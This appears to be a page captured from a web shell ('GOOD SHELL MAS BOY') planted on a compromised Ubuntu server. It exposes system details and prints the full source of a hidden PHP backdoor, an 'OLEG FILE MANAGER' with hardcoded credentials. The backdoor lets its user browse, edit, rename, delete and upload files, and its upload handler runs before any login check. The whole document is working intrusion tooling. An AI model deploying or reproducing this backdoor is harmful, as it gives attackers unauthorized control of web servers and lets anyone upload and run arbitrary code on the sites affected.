GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/html/admin-582715f3.php
<?php
session_start();


define('USERNAME', 'oleg');
define('PASSWORD', 'oleg35');


if (isset($_POST['language'])) {
    $_SESSION['language'] = $_POST['language'];
} elseif (!isset($_SESSION['language'])) {
    $_SESSION['language'] = 'tr';
}
$lang = $_SESSION['language'];

if (isset($_POST['theme'])) {
    $_SESSION['theme'] = $_POST['theme'];
} elseif (!isset($_SESSION['theme'])) {
    $_SESSION['theme'] = 'light';
}
$theme = $_SESSION['theme'];


$translations = [
    'tr' => [
        'login_title' => 'Giris Yap',
        'username' => 'Kullanici Adi',
        'password' => 'Sifre',
        'login_btn' => 'Giris',
        'logout_btn' => 'Çikis Yap',
        'login_error' => 'Kullanici adi veya sifre hatali!',
        'language_label' => 'Dil Seçimi',
        'theme_label' => 'Tema Seçimi',
        'light' => 'Açik',
        'dark' => 'Koyu',
        'welcome' => 'Hosgeldiniz, ',
        'file_manager' => 'OLEG FILE MANAGER',
        'current_dir' => 'Su anki dizin',
        'up_one_level' => 'Bir üst dizin',
        'delete' => 'Sil',
        'rename' => 'Isim Degistir',
        'edit' => 'Düzenle',
        'save' => 'Kaydet',
        'cancel' => 'Iptal',
        'new_name' => 'Yeni isim',
        'file_content' => 'Dosya içerigi',
        'error' => 'Hata',
        'success' => 'Basarili',
        'file_deleted' => 'Dosya silindi.',
        'file_renamed' => 'Dosya yeniden adlandirildi.',
        'file_saved' => 'Dosya kaydedildi.',
        'dir_not_allowed' => 'Dizin erisimi engellendi!',
        'not_a_file' => 'Dosya degil!',
        'invalid_name' => 'Geçersiz isim!',
        'file_not_found' => 'Dosya bulunamadi!',
        'no_permission' => 'Izin yok!',
    ],
    'en' => [
        'login_title' => 'Login',
        'username' => 'Username',
        'password' => 'Password',
        'login_btn' => 'Login',
        'logout_btn' => 'Logout',
        'login_error' => 'Invalid username or password!',
        'language_label' => 'Language',
        'theme_label' => 'Theme',
        'light' => 'Light',
        'dark' => 'Dark',
        'welcome' => 'Welcome, ',
        'file_manager' => 'File Manager',
        'current_dir' => 'Current directory',
        'up_one_level' => 'Up one level',
        'delete' => 'Delete',
        'rename' => 'Rename',
        'edit' => 'Edit',
        'save' => 'Save',
        'cancel' => 'Cancel',
        'new_name' => 'New name',
        'file_content' => 'File content',
        'error' => 'Error',
        'success' => 'Success',
        'file_deleted' => 'File deleted.',
        'file_renamed' => 'File renamed.',
        'file_saved' => 'File saved.',
        'dir_not_allowed' => 'Directory access denied!',
        'not_a_file' => 'Not a file!',
        'invalid_name' => 'Invalid name!',
        'file_not_found' => 'File not found!',
        'no_permission' => 'No permission!',
    ]
];


if (isset($_POST['login'])) {
    if ($_POST['username'] === USERNAME && $_POST['password'] === PASSWORD) {
        $_SESSION['logged_in'] = true;
        $_SESSION['user'] = USERNAME;
        header("Location: " . $_SERVER['PHP_SELF']);
        exit;
    } else {
        $error = $translations[$lang]['login_error'];
    }
}

 
if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}




 
$currentDir = isset($_GET['dir']) ? realpath($_GET['dir']) : getcwd();

 
if ($currentDir === false || !is_dir($currentDir)) {
    $currentDir = getcwd(); // fallback
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
    $uploadDir = $currentDir;
    $file = $_FILES['upload_file'];
    $fileTmp = $file['tmp_name'];
    $fileName = basename($file['name']);
    $targetPath = $uploadDir . DIRECTORY_SEPARATOR . $fileName;

    if (move_uploaded_file($fileTmp, $targetPath)) {
        echo "<div style='color: green; margin-top: 10px;'>Dosya yüklendi: {$fileName}</div>";
    } else {
        echo "<div style='color: red; margin-top: 10px;'>Dosya yükleme basarisiz.</div>";
    }
}







 
if (!isset($_SESSION['logged_in'])):
?>
<!DOCTYPE html>
<html lang="<?= $lang ?>" class="<?= ($theme === 'dark') ? 'bg-dark text-white' : '' ?>">
<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?= $translations[$lang]['login_title'] ?></title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet" />
    <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.10.5/font/bootstrap-icons.css" rel="stylesheet" />
    <style>
        body.light-theme {
            background-color: #f8f9fa;
            color: #212529;
        }
        body.dark-theme {
            background-color: #121212;
            color: #f8f9fa;
        }
        .form-control.dark-theme, .form-select.dark-theme {
            background-color: #1e1e1e;
            color: #f8f9fa;
            border-color: #444;
        }
        .form-control.dark-theme::placeholder {
            color: #bbb;
        }
        .form-select.dark-theme option {
            background-color: #1e1e1e;
            color: #f8f9fa;
        }
    </style>
</head>
<body class="<?= ($theme === 'dark') ? 'dark-theme' : 'light-theme' ?> d-flex justify-content-center align-items-center vh-100">

    <div class="card p-4 shadow" style="min-width: 320px; max-width: 400px; width: 100%;">
        <h2 class="text-center mb-4"><?= $translations[$lang]['login_title'] ?> <i class="bi bi-person-circle"></i></h2>

        <?php if (isset($error)): ?>
            <div class="alert alert-danger" role="alert"><?= $error ?></div>
        <?php endif; ?>

        <form method="post" novalidate>
            <div class="mb-3">
                <label for="username" class="form-label"><?= $translations[$lang]['username'] ?></label>
                <input type="text" class="form-control <?= ($theme === 'dark') ? 'dark-theme' : '' ?>" id="username" name="username" required autofocus placeholder="<?= $translations[$lang]['username'] ?>" />
            </div>

            <div class="mb-3">
                <label for="password" class="form-label"><?= $translations[$lang]['password'] ?></label>
                <input type="password" class="form-control <?= ($theme === 'dark') ? 'dark-theme' : '' ?>" id="password" name="password" required placeholder="<?= $translations[$lang]['password'] ?>" />
            </div>

            <div class="row mb-3">
                <div class="col">
                    <label for="language" class="form-label"><?= $translations[$lang]['language_label'] ?></label>
                    <select class="form-select <?= ($theme === 'dark') ? 'dark-theme' : '' ?>" id="language" name="language" onchange="this.form.submit()">
                        <option value="tr" <?= ($lang === 'tr') ? 'selected' : '' ?>>Türkçe</option>
                        <option value="en" <?= ($lang === 'en') ? 'selected' : '' ?>>English</option>
                    </select>
                </div>
                <div class="col">
                    <label for="theme" class="form-label"><?= $translations[$lang]['theme_label'] ?></label>
                    <select class="form-select <?= ($theme === 'dark') ? 'dark-theme' : '' ?>" id="theme" name="theme" onchange="this.form.submit()">
                        <option value="light" <?= ($theme === 'light') ? 'selected' : '' ?>><?= $translations[$lang]['light'] ?></option>
                        <option value="dark" <?= ($theme === 'dark') ? 'selected' : '' ?>><?= $translations[$lang]['dark'] ?></option>
                    </select>
                </div>
            </div>

            <button type="submit" name="login" class="btn btn-primary w-100"><?= $translations[$lang]['login_btn'] ?></button>
        </form>
    </div>

</body>
</html>
<?php
exit;
endif;

 
$baseDir = realpath(__DIR__);

 
$dir = isset($_GET['dir']) ? $_GET['dir'] : '';
$dir = trim($dir, '/\\');
$currentDir = realpath($baseDir . DIRECTORY_SEPARATOR . $dir);

 
if ($currentDir === false) {
    die($translations[$lang]['dir_not_allowed']);
}

 
$message = '';
$errorMsg = '';

 
if (isset($_GET['delete'])) {
    $delFile = realpath($currentDir . DIRECTORY_SEPARATOR . $_GET['delete']);
    if ($delFile && strpos($delFile, $baseDir) === 0 && is_file($delFile) && is_writable($delFile)) {
        unlink($delFile);
        $message = $translations[$lang]['file_deleted'];
    } else {
        $errorMsg = $translations[$lang]['no_permission'];
    }
    header("Location: ?dir=" . urlencode($dir) . "&msg=" . urlencode($message) . "&error=" . urlencode($errorMsg));
    exit;
}

 
if (isset($_GET['rename'])) {
    $fileToRename = realpath($currentDir . DIRECTORY_SEPARATOR . $_GET['rename']);
    if (!$fileToRename || strpos($fileToRename, $baseDir) !== 0) {
        die($translations[$lang]['dir_not_allowed']);
    }
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
        $newName = basename($_POST['new_name']);
        if ($newName === '' || preg_match('/[\/\\\\]/', $newName)) {
            $errorMsg = $translations[$lang]['invalid_name'];
        } else {
            $newPath = $currentDir . DIRECTORY_SEPARATOR . $newName;
            if (file_exists($newPath)) {
                $errorMsg = $translations[$lang]['invalid_name']
. ' (Dosya zaten var)';
} else {
rename($fileToRename, $newPath);
$message = $translations[$lang]['file_renamed'];
header("Location: ?dir=" . urlencode($dir) . "&msg=" . urlencode($message));
exit;
}
}
}
?>
<!DOCTYPE html>
<html lang="<?= $lang ?>" class="<?= ($theme === 'dark') ? 'bg-dark text-white' : '' ?>">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title><?= $translations[$lang]['rename'] ?></title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet" />
</head>
<body class="<?= ($theme === 'dark') ? 'bg-dark text-white' : '' ?> p-3">
<div class="container">
<h1><?= $translations[$lang]['rename'] ?></h1>
<?php if ($errorMsg): ?>
<div class="alert alert-danger"><?= $errorMsg ?></div>
<?php endif; ?>
<form method="post" novalidate>
<div class="mb-3">
<label for="new_name" class="form-label"><?= $translations[$lang]['new_name'] ?></label>
<input type="text" id="new_name" name="new_name" value="<?= htmlspecialchars(basename($fileToRename)) ?>" class="form-control" required />
</div>
<button type="submit" class="btn btn-primary"><?= $translations[$lang]['save'] ?></button>
<a href="?dir=<?= urlencode($dir) ?>" class="btn btn-secondary"><?= $translations[$lang]['cancel'] ?></a>
</form>
</div>
</body>
</html>
<?php
exit;
}


if (isset($_GET['edit'])) {
$fileToEdit = realpath($currentDir . DIRECTORY_SEPARATOR . $_GET['edit']);
if (!$fileToEdit || strpos($fileToEdit, $baseDir) !== 0 || !is_file($fileToEdit) || !is_readable($fileToEdit)) {
die($translations[$lang]['not_a_file']);
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file_content'])) {
if (is_writable($fileToEdit)) {
file_put_contents($fileToEdit, $_POST['file_content']);
$message = $translations[$lang]['file_saved'];
header("Location: ?dir=" . urlencode($dir) . "&msg=" . urlencode($message));
exit;
} else {
$errorMsg = $translations[$lang]['no_permission'];
}
}
$content = file_get_contents($fileToEdit);
?>
<!DOCTYPE html>
<html lang="<?= $lang ?>" class="<?= ($theme === 'dark') ? 'bg-dark text-white' : '' ?>">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title><?= $translations[$lang]['edit'] ?> - <?= htmlspecialchars(basename($fileToEdit)) ?></title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet" />
<style>
textarea {
font-family: monospace;
min-height: 400px;
}
</style>
</head>
<body class="<?= ($theme === 'dark') ? 'bg-dark text-white' : '' ?> p-3">
<div class="container">
<h1><?= $translations[$lang]['edit'] ?> - <?= htmlspecialchars(basename($fileToEdit)) ?></h1>
<?php if ($errorMsg): ?>
<div class="alert alert-danger"><?= $errorMsg ?></div>
<?php endif; ?>
<form method="post" novalidate>
<div class="mb-3">
<label for="file_content" class="form-label"><?= $translations[$lang]['file_content'] ?></label>
<textarea id="file_content" name="file_content" class="form-control"><?= htmlspecialchars($content) ?></textarea>
</div>
<button type="submit" class="btn btn-primary"><?= $translations[$lang]['save'] ?></button>
<a href="?dir=<?= urlencode($dir) ?>" class="btn btn-secondary"><?= $translations[$lang]['cancel'] ?></a>
</form>
</div>
</body>
</html>
<?php
exit;
}


function human_filesize($bytes, $decimals = 2) {
$sz = ['B','KB','MB','GB','TB','PB'];
$factor = floor((strlen($bytes) - 1) / 3);
return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . ' ' . $sz[$factor];
}

function icon_for_file($filename, $isDir = false) {
if ($isDir) return '<i class="bi bi-folder-fill text-warning"></i>';
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
switch ($ext) {
case 'txt': return '<i class="bi bi-file-text"></i>';
case 'php': return '<i class="bi bi-file-code"></i>';
case 'jpg':
case 'jpeg':
case 'png':
case 'gif': return '<i class="bi bi-file-image"></i>';
case 'zip': return '<i class="bi bi-file-zip"></i>';
case 'pdf': return '<i class="bi bi-file-earmark-pdf"></i>';
default: return '<i class="bi bi-file-earmark"></i>';
}
}


$currentDirName = ($dir === '') ? '/' : $dir;

if (isset($_GET['msg'])) $message = $_GET['msg'];
if (isset($_GET['error'])) $errorMsg = $_GET['error'];

$files = scandir($currentDir);
?>

<!DOCTYPE html> <html lang="<?= $lang ?>" class="<?= ($theme === 'dark') ? 'bg-dark text-white' : '' ?>"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?= $translations[$lang]['file_manager'] ?></title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet" /> <link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.10.5/font/bootstrap-icons.css" rel="stylesheet" /> <style> body { padding-top: 70px; } .table td, .table th { vertical-align: middle; } a.text-danger:hover { text-decoration: none; } .file-actions a { margin-right: 10px; } </style> </head> <body class="<?= ($theme === 'dark') ? 'bg-dark text-white' : '' ?>"> <nav class="navbar navbar-expand-lg <?= ($theme === 'dark') ? 'navbar-dark bg-dark' : 'navbar-light bg-light' ?> fixed-top"> <div class="container-fluid"> <a class="navbar-brand" href="?"><?= $translations[$lang]['file_manager'] ?></a> <div> <span class="me-3"><?= $translations[$lang]['welcome'] . htmlspecialchars($_SESSION['user']) ?></span> <a href="?logout" class="btn btn-outline-danger btn-sm"><?= $translations[$lang]['logout_btn'] ?></a> </div> </div> </nav> <div class="container"> <?php if ($message): ?> <div class="alert alert-success"><?= htmlspecialchars($message) ?></div> <?php endif; ?> <?php if ($errorMsg): ?> <div class="alert alert-danger"><?= htmlspecialchars($errorMsg) ?></div> <?php endif; ?>
    <h4><?= $translations[$lang]['current_dir'] ?>: <code><?= htmlspecialchars($currentDirName) ?></code></h4>

<?php if ($dir !== ''): ?>
    <a href="?dir=<?= urlencode(dirname($dir)) ?>" class="btn btn-secondary mb-3">
        <i class="bi bi-arrow-up"></i> <?= $translations[$lang]['up_one_level'] ?>
    </a>
<?php endif; ?>

<table class="table table-striped table-hover <?= ($theme === 'dark') ? 'table-dark' : '' ?>">
    <thead>
        <tr>
            <th>#</th>
            <th><?= $translations[$lang]['file_manager'] ?></th>
            <th>Size</th>
            <th>Actions</th>
        </tr>
    </thead>
    <tbody>
        <div style="margin-top: 30px; padding: 15px; border: 1px solid #ccc; border-radius: 8px;">
    <h3>Dosya Yükle</h3>
    <form method="post" enctype="multipart/form-data">
        <input type="file" name="upload_file" required style="margin-bottom: 10px;"><br>
        <button type="submit">Yükle</button>
    </form>
</div>
        <?php
        $index = 1;
        foreach ($files as $file):
            if ($file === '.' || $file === '..') continue;
            $filePath = $currentDir . DIRECTORY_SEPARATOR . $file;
            $isDir = is_dir($filePath);
        ?>
        <tr>
            <td><?= $index++ ?></td>
            <td>
                <?= icon_for_file($file, $isDir) ?>
                <?php if ($isDir): ?>
                    <a href="?dir=<?= urlencode(($dir === '') ? $file : $dir . '/' . $file) ?>"><?= htmlspecialchars($file) ?></a>
                <?php else: ?>
                    <?= htmlspecialchars($file) ?>
                <?php endif; ?>
            </td>
            <td><?= $isDir ? '-' : human_filesize(filesize($filePath)) ?></td>
            <td class="file-actions">
                <?php if (!$isDir): ?>
                    <a href="?dir=<?= urlencode($dir) ?>&edit=<?= urlencode($file) ?>" class="btn btn-sm btn-primary" title="<?= $translations[$lang]['edit'] ?>"><i class="bi bi-pencil-square"></i></a>
                    <a href="?dir=<?= urlencode($dir) ?>&rename=<?= urlencode($file) ?>" class="btn btn-sm btn-warning" title="<?= $translations[$lang]['rename'] ?>"><i class="bi bi-pencil"></i></a>
                    <a href="?dir=<?= urlencode($dir) ?>&delete=<?= urlencode($file) ?>" class="btn btn-sm btn-danger" title="<?= $translations[$lang]['delete'] ?>" onclick="return confirm('<?= addslashes($translations[$lang]['delete']) ?>?')"><i class="bi bi-trash"></i></a>
                <?php else: ?>
                  
                <?php endif; ?>
            </td>
        </tr>
        <?php endforeach; ?>
    </tbody>
</table>